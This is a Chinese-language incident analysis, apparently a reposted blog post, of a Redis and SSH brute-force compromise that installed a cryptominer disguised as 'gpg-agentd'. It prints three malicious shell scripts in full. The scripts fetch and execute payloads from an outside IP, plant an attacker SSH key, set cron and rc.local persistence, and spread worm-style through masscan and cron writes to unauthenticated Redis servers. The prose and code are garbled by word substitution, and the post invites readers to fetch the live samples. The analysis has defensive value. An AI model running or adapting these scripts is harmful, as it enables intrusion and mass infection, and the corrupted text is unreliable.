不一会运维的同事也到了,气喘吁吁的说:我们有台做事器被阿里云冻结了,情由:对外恶意发包。
我放下酸菜馅的包子,SSH 连了一下,被谢绝了,问了下默认的 22 端口被封了。
让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名 :root,还有不敷 8 位的小白密码,心里一凉:被黑了!
查找线索
做事器系统 CentOS 6.X,支配了 Nginx,Tomcat,Redis 等运用,上来先把数据库全备份到本地,然后 Top 命令看了一下,有 2 个 99% 的同名进程还在运行,叫 gpg-agentd。
Google 了一下 GPG,结果是:GPG 供应的 gpg-agent 供应了对 SSH 协议的支持,这个功能可以大大简化密钥的管理事情。
看起来像是一个很正经的程序嘛,但仔细再看看做事器上的进程后面还随着一个字母 d,伪装的很好,让人想起来 Windows 上各种看起来像 svchost.exe 的病毒。
连续排查:
ps eho command -p 23374netstat -pan | grep 23374
查看 pid:23374 进程启动路径和网络状况,也便是来到了图 1 的目录,到此已经找到了黑客留下的二进制可实行文件。
接下来还有 2 个问题在等着我:
文件是怎么上传的?这个文件的目的是什么,或是黑客想干嘛?History 看一下,记录果真都被清掉了,没留下任何痕迹。连续命令 more messages:
看到了在半夜 12 点旁边,在做事器上装了很多软件,个中有几个软件引起了我的把稳,下面详细讲。
边找边猜,如果我们要做坏事,大概会在哪里做文章,自动启动?定时启动?对,操持任务:
crontab -e
果真,线索找到了。
作案动机
上面的操持任务的意思便是每 15 分钟去做事器高下载一个脚本,并且实行这个脚本。
我们把脚本下载下来看一下:
curl -fsSL 159.89.190.243/ash.php > ash.sh
脚本内容如下:
uname -a id hostname setenforce 0 2>/dev/null ulimit -n 50000 ulimit -u 50000 crontab -r 2>/dev/null rm -rf /var/spool/cron/ 2>/dev/null mkdir -p /var/spool/cron/crontabs 2>/dev/null mkdir -p /root/.ssh 2>/dev/null echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keys echo '/15 curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root echo '/20 curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root yum install -y bash 2>/dev/null apt install -y bash 2>/dev/null apt-get install -y bash 2>/dev/null bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null
大致剖析一下该脚本的紧张用场:首先是关闭 SELinux,解除 Shell 资源访问限定,然后在 /root/.ssh/authorized_keys 文件中天生 SSH 公钥。
这样每次黑客登录这台做事器就可以免密码登录了,实行脚本就会方便很多。
接下来安装 Bash,末了是连续下载第二个脚本 bsh.php,并且实行。连续下载并剖析 bsh.pbp,内容如下:
sleep $( seq 3 7 | sort -R | head -n1 ) cd /tmp || cd /var/tmp sleep 1 mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/... sleep 1 if [ -f .watch ]; then rm -rf .watch exit 0 fi sleep 1 echo 1 > .watch sleep 1 ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null sleep 1 if ! [ -x /usr/bin/gpg-agentd ]; then curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db echo '/usr/bin/gpg-agentd' > /etc/rc.local echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local echo 'exit 0' >> /etc/rc.local fi sleep 1 chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd sleep 1 if ! [ -x \"大众$(command -v masscan)\公众 ]; then rm -rf /var/lib/apt/lists/ rm -rf x1.tar.gz if [ -x \公众$(command -v apt-get)\公众 ]; then export DEBIAN_FRONTEND=noninteractive apt-get update -y apt-get install -y debconf-doc apt-get install -y build-essential apt-get install -y libpcap0.8-dev libpcap0.8 apt-get install -y libpcap apt-get install -y make gcc git apt-get install -y redis-server apt-get install -y redis-tools apt-get install -y redis apt-get install -y iptables apt-get install -y wget curl fi if [ -x \公众$(command -v yum)\"大众 ]; then yum update -y yum install -y epel-release yum update -y yum install -y git iptables make gcc redis libpcap libpcap-devel yum install -y wget curl fi sleep 1 curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz sleep 1 [ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4 fi sleep 3 && rm -rf .watch bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null
这段脚本的代码比较长,但紧张的功能有 4 个:
下载远程代码到本地,添加实行权限,chmod u+x。修正 rc.local,让本地代码开机自动实行。下载 Github 上的开源扫描器代码,并安装干系的依赖软件,也便是我上面的 Messages 里看到的记录。下载第三个脚本,并且实行。我去 Github 上看了下这个开源代码,切实其实吊炸天:
Transmitting 10 Million Packets Per Second(每秒发送 1000 万个数据包),比 nmap 速率还要快,这就不难明得为什么阿里云把做事器冻结了。
大概看了下 Readme 之后,我也没有细究,连续下载第三个脚本:
setenforce 0 2>/dev/null ulimit -n 50000 ulimit -u 50000 sleep 1 iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null sleep 1 rm -rf .dat .shard .ranges .lan 2>/dev/null sleep 1 echo 'config set dbfilename \公众backup.db\"大众' > .dat echo 'save' >> .dat echo 'flushall' >> .dat echo 'set backup1 \"大众\n\n\n/2 curl -fsSL http://159.89.190.243/ash.php | sh\n\n\公众' >> .dat echo 'set backup2 \"大众\n\n\n/3 wget -q -O- http://159.89.190.243/ash.php | sh\n\n\"大众' >> .dat echo 'set backup3 \"大众\n\n\n/4 curl -fsSL http://159.89.190.243/ash.php | sh\n\n\"大众' >> .dat echo 'set backup4 \"大众\n\n\n/5 wget -q -O- http://159.89.190.243/ash.php | sh\n\n\"大众' >> .dat echo 'config set dir \公众/var/spool/cron/\公众' >> .dat echo 'config set dbfilename \公众root\"大众' >> .dat echo 'save' >> .dat echo 'config set dir \"大众/var/spool/cron/crontabs\"大众' >> .dat echo 'save' >> .dat sleep 1 masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard sleep 1 while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null & done < .shard sleep 1 masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges sleep 1 while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null & done < .ranges sleep 1 ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet sleep 1 masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan sleep 1 while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null & done < .lan sleep 60 rm -rf .dat .shard .ranges .lan 2>/dev/null
如果说前两个脚本只是在做事器高下载实行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来剖析这个脚本。
一开始的修正系统环境没什么好说的,接下来的写文件操作有点眼熟,如果用过 Redis 的人,该当能猜到,这里是对 Redis 进行配置。
写这个配置,自然也便是利用了 Redis 把缓存内容写入本地文件的漏洞,结果便是用本地的私钥去上岸被写入公钥的做事器了,无需密码就可以上岸,也便是我们文章最开始的 /root/.ssh/authorized_keys。
登录之后就开始定期实行操持任务,下载脚本。好了,配置文件准备好了,就开始利用 Masscan 进行全网扫描 Redis 做事器,探求肉鸡。
把稳看这 6379 便是 Redis 做事器的默认端口,如果你的 Redis 的监听端口是公网 IP 或是 0.0.0.0,并且没有密码保护,不好意思,你就中招了。
总结
通过依次剖析这 3 个脚本,就能看出这个病毒的恐怖之处,先是通过写入 ssh public key 拿到登录权限,然后下载实行远程二进制文件,末了再通过 Redis 漏洞复制,迅速在全网传播,以指数级速率增长。
那么问题是,这台做事器是怎么中招的呢?看了下 redis.conf,Bind 的地址是 127.0.0.1,没啥问题。
由此可以推断,该当是 Root 帐号被暴力破解了,为了验证我的想法,我 Lastb 看了一下,果真有大量的记录:
还剩末了一个问题,这个 gpg-agentd 程序到底是干什么的呢?我当时的第一个反应便是矿机,由于现在数字货币太火了,加大了分布式矿机的需求,也就催生了这条灰色家当链。
于是,顺手把这个 gpg-agentd 拖到 Ida 中,用 String 搜索 bitcoin,eth,mine 等干系单词,终极创造了这个:
打开 nicehash.com 看一下,统统都清晰了:
安全建议
做事器:
禁用 ROOT用户名和密码只管即便繁芜修正 SSH 的默认 22 端口安装 DenyHosts 防暴力破解软件禁用密码登录,利用 RSA 公钥登录Redis:
禁用公网 IP 监听,包括 0.0.0.0利用密码限定访问 Redis利用较低权限帐号运行 Redis到此,全体入侵过程基本剖析完了,如果大家对样本有兴趣,也可以自行去 Curl,或是去虚拟机实行上面的脚本。鉴于本人能力有限,文中难免会涌现轻忽或是缺点,还请大家多多示正。